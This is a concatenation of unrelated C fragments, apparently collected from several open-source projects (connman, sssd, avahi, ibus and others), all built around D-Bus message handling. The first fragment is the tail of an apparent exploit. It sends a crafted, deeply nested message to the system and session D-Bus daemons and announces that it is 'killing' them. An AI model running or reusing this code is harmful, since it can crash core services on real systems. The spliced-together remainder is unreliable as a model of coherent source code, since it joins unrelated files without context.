dbus_message_iter_append_basic(&iter4, DBUS_TYPE_INT32, &val);
dbus_message_iter_append_basic(&iter4, DBUS_TYPE_INT32, &val);
dbus_message_iter_close_container(&iter3, &iter4);
dbus_message_iter_append_basic(&iter3, DBUS_TYPE_INT32, &val);
dbus_message_iter_close_container(&iter2, &iter3);
dbus_message_iter_close_container(&iter1, &iter2);
printf("[+] connecting to dbus system daemon...\n");
system = dbus_bus_get(DBUS_BUS_SYSTEM, NULL);
if (system) {
printf("[+] killing dbus system daemon...\n");
dbus_connection_send(system, message, NULL);
dbus_connection_flush(system);
dbus_connection_unref(system);
} else {
printf("[-] error: could not connect to dbus system daemon\n");
}
printf("[+] connecting to dbus session daemon...\n");
session = dbus_bus_get(DBUS_BUS_SESSION, NULL);
if (session) {
printf("[+] killing dbus session daemon...\n");
dbus_connection_send(session, message, NULL);
dbus_connection_flush(session);
dbus_connection_unref(session);
} else {
printf("[-] error: could not connect to dbus session daemon\n");
}
dbus_message_unref(message);
return 0;
}
static int create_configuration(DBusMessage *msg, connection_ready_cb callback)
{
DBusMessage *new_msg = NULL;
DBusPendingCall *call;
DBusMessageIter iter, array, new_iter, new_dict;
const char *type = NULL, *name = NULL;
const char *host = NULL, *domain = NULL;
char *ident, *me = NULL;
int err = 0;
dbus_bool_t result;
struct connection_data *data;
struct config_create_data *user_data = NULL;
GSList *networks = NULL;
/*
* We copy the old message data into new message. We cannot
* just use the old message as is because the user route
* information is not in the same format in vpnd.
*/
new_msg = dbus_message_new(DBUS_MESSAGE_TYPE_METHOD_CALL);
dbus_message_iter_init_append(new_msg, &new_iter);
connman_dbus_dict_open(&new_iter, &new_dict);
dbus_message_iter_init(msg, &iter);
dbus_message_iter_recurse(&iter, &array);
while (dbus_message_iter_get_arg_type(&array) == DBUS_TYPE_DICT_ENTRY) {
DBusMessageIter entry, value;
void *item_value;
const char *key;
int value_type;
dbus_message_iter_recurse(&array, &entry);
dbus_message_iter_get_basic(&entry, &key);
dbus_message_iter_next(&entry);
dbus_message_iter_recurse(&entry, &value);
value_type = dbus_message_iter_get_arg_type(&value);
item_value = NULL;
switch (value_type) {
case DBUS_TYPE_STRING:
dbus_message_iter_get_basic(&value, &item_value);
if (g_str_equal(key, "Type") == TRUE) {
type = (const char *)item_value;
} else if (g_str_equal(key, "Name") == TRUE) {
name = (const char *)item_value;
} else if (g_str_equal(key, "Host") == TRUE) {
host = (const char *)item_value;
} else if (g_str_equal(key, "VPN.Domain") == TRUE) {
domain = (const char *)item_value;
}
DBG("%s %s", key, (char *)item_value);
if (item_value != NULL)
connman_dbus_dict_append_basic(&new_dict, key,
value_type, &item_value);
break;
case DBUS_TYPE_ARRAY:
if (g_str_equal(key, "Networks") == TRUE) {
networks = get_user_networks(&value);
connman_dbus_dict_append_array(&new_dict,
"UserRoutes",
DBUS_TYPE_DICT_ENTRY,
append_routes,
networks);
}
break;
}
dbus_message_iter_next(&array);
}
connman_dbus_dict_close(&new_iter, &new_dict);
DBG("VPN type %s name %s host %s domain %s networks %p",
type, name, host, domain, networks);
if (host == NULL || domain == NULL) {
err = -EINVAL;
goto done;
}
if (type == NULL || name == NULL) {
err = -EOPNOTSUPP;
goto done;
}
ident = g_strdup_printf("%s_%s", host, domain);
set_dbus_ident(ident);
DBG("ident %s", ident);
data = g_hash_table_lookup(vpn_connections, ident);
if (data != NULL) {
if (data->call != NULL || data->cb_data != NULL) {
DBG("create configuration call already pending");
err = -EINPROGRESS;
goto done;
}
} else {
char *path = g_strdup_printf("%s/connection/%s", VPN_PATH,
ident);
data = create_connection_data(path);
g_free(path);
if (data == NULL) {
err = -ENOMEM;
goto done;
}
g_hash_table_insert(vpn_connections, g_strdup(ident), data);
}
/*
* User called net.connman.Manager.ConnectProvider if we are here.
* So use the data from original message in the new msg.
*/
me = g_strdup(dbus_message_get_destination(msg));
dbus_message_set_interface(new_msg, VPN_MANAGER_INTERFACE);
dbus_message_set_path(new_msg, "/");
dbus_message_set_destination(new_msg, VPN_SERVICE);
dbus_message_set_sender(new_msg, me);
dbus_message_set_member(new_msg, "Create");
user_data = g_try_new0(struct config_create_data, 1);
if (user_data == NULL) {
err = -ENOMEM;
goto done;
}
user_data->callback = callback;
user_data->message = dbus_message_ref(msg);
user_data->path = NULL;
DBG("cb %p msg %p", user_data, msg);
result = dbus_connection_send_with_reply(connection, new_msg,
&call, DBUS_TIMEOUT);
if (result == FALSE || call == NULL) {
err = -EIO;
goto done;
}
dbus_pending_call_set_notify(call, configuration_create_reply,
user_data, NULL);
data->call = call;
done:
if (new_msg != NULL)
dbus_message_unref(new_msg);
if (networks != NULL)
g_slist_free_full(networks, destroy_route);
g_free(me);
return err;
}
static errno_t
sbus_request_switch_reply(DBusMessage *reply,
struct tevent_req *req,
sbus_request_messages_fn messages_fn)
{
DBusMessage *client_message;
DBusMessage **reply_pointer;
TALLOC_CTX *reply_mem_ctx;
const char *sender;
dbus_uint32_t serial;
dbus_bool_t dbret;
errno_t ret;
ret = messages_fn(req, &reply_mem_ctx, &client_message, &reply_pointer);
if (ret != EOK) {
return ret;
}
/* Copy reply to location in a state of this request. */
*reply_pointer = dbus_message_copy(reply);
if (*reply_pointer == NULL) {
return ENOMEM;
}
ret = sbus_message_bound(reply_mem_ctx, *reply_pointer);
if (ret != EOK) {
goto done;
}
if (client_message == NULL) {
ret = EOK;
goto done;
}
/* We set destination and serial in reply to point to the original
* client request. */
sender = dbus_message_get_sender(client_message);
serial = dbus_message_get_serial(client_message);
dbret = dbus_message_set_destination(*reply_pointer, sender);
if (dbret == false) {
DEBUG(SSSDBG_CRIT_FAILURE, "Unable to set reply sender!\n");
ret = EIO;
goto done;
}
dbret = dbus_message_set_reply_serial(*reply_pointer, serial);
if (dbret == false) {
DEBUG(SSSDBG_CRIT_FAILURE, "Unable to set reply serial!\n");
ret = EIO;
goto done;
}
ret = EOK;
done:
if (ret != EOK) {
dbus_message_unref(*reply_pointer);
*reply_pointer = NULL;
}
return ret;
}
void avahi_dbus_record_browser_callback(
AvahiSRecordBrowser *b,
AvahiIfIndex interface,
AvahiProtocol protocol,
AvahiBrowserEvent event,
AvahiRecord *record,
AvahiLookupResultFlags flags,
void* userdata) {
RecordBrowserInfo *i = userdata;
DBusMessage *m = NULL;
int32_t i_interface, i_protocol;
uint32_t u_flags;
assert(b);
assert(i);
i_interface = (int32_t) interface;
i_protocol = (int32_t) protocol;
u_flags = (uint32_t) flags;
m = dbus_message_new_signal(i->path, AVAHI_DBUS_INTERFACE_RECORD_BROWSER, avahi_dbus_map_browse_signal_name(event));
if (!m) {
avahi_log_error("Failed allocate message");
return;
}
if (event == AVAHI_BROWSER_NEW || event == AVAHI_BROWSER_REMOVE) {
uint8_t rdata[0xFFFF];
size_t size;
assert(record);
if (!(dbus_message_append_args(
m,
DBUS_TYPE_INT32, &i_interface,
DBUS_TYPE_INT32, &i_protocol,
DBUS_TYPE_STRING, &record->key->name,
DBUS_TYPE_UINT16, &record->key->clazz,
DBUS_TYPE_UINT16, &record->key->type,
DBUS_TYPE_INVALID)))
goto fail;
if ((size = avahi_rdata_serialize(record, rdata, sizeof(rdata))) == (size_t) -1 ||
avahi_dbus_append_rdata(m, rdata, size) < 0) {
avahi_log_debug(__FILE__": Failed to append rdata");
dbus_message_unref(m);
return;
}
dbus_message_append_args(
m,
DBUS_TYPE_UINT32, &u_flags,
DBUS_TYPE_INVALID);
} else if (event == AVAHI_BROWSER_FAILURE)
avahi_dbus_append_server_error(m);
dbus_message_set_destination(m, i->client->name);
dbus_connection_send(server->bus, m, NULL);
dbus_message_unref(m);
return;
fail:
if (m)
dbus_message_unref(m);
}
void EdbusMessage::destination(const char* nd) {
if(!dm || !dm->msg)
return;
dbus_message_set_destination(dm->msg, nd);
}
void avahi_dbus_async_service_resolver_callback(
AvahiSServiceResolver *r,
AvahiIfIndex interface,
AvahiProtocol protocol,
AvahiResolverEvent event,
const char *name,
const char *type,
const char *domain,
const char *host_name,
const AvahiAddress *a,
uint16_t port,
AvahiStringList *txt,
AvahiLookupResultFlags flags,
void* userdata) {
AsyncServiceResolverInfo *i = userdata;
DBusMessage *reply;
assert(r);
assert(i);
reply = dbus_message_new_signal(i->path, AVAHI_DBUS_INTERFACE_SERVICE_RESOLVER, avahi_dbus_map_resolve_signal_name(event));
if (event == AVAHI_RESOLVER_FOUND) {
char t[AVAHI_ADDRESS_STR_MAX], *pt = t;
int32_t i_interface, i_protocol, i_aprotocol;
uint32_t u_flags;
assert(host_name);
/* avahi_log_debug(__FILE__": [%s] Successfully resolved service <%s.%s.%s>", i->path, name, type, domain); */
if (a)
avahi_address_snprint(t, sizeof(t), a);
else
t[0] = 0;
if (!name)
name = "";
if (avahi_dbus_is_our_own_service(i->client, interface, protocol, name, type, domain) > 0)
flags |= AVAHI_LOOKUP_RESULT_OUR_OWN;
i_interface = (int32_t) interface;
i_protocol = (int32_t) protocol;
if (a)
i_aprotocol = (int32_t) a->proto;
else
i_aprotocol = AVAHI_PROTO_UNSPEC;
u_flags = (uint32_t) flags;
dbus_message_append_args(
reply,
DBUS_TYPE_INT32, &i_interface,
DBUS_TYPE_INT32, &i_protocol,
DBUS_TYPE_STRING, &name,
DBUS_TYPE_STRING, &type,
DBUS_TYPE_STRING, &domain,
DBUS_TYPE_STRING, &host_name,
DBUS_TYPE_INT32, &i_aprotocol,
DBUS_TYPE_STRING, &pt,
DBUS_TYPE_UINT16, &port,
DBUS_TYPE_INVALID);
avahi_dbus_append_string_list(reply, txt);
dbus_message_append_args(
reply,
DBUS_TYPE_UINT32, &u_flags,
DBUS_TYPE_INVALID);
} else {
assert(event == AVAHI_RESOLVER_FAILURE);
avahi_dbus_append_server_error(reply);
}
dbus_message_set_destination(reply, i->client->name);
dbus_connection_send(server->bus, reply, NULL);
dbus_message_unref(reply);
}
gboolean
ibus_message_set_destination (IBusMessage *message,
const gchar *destination)
{
return dbus_message_set_destination (message, destination);
}
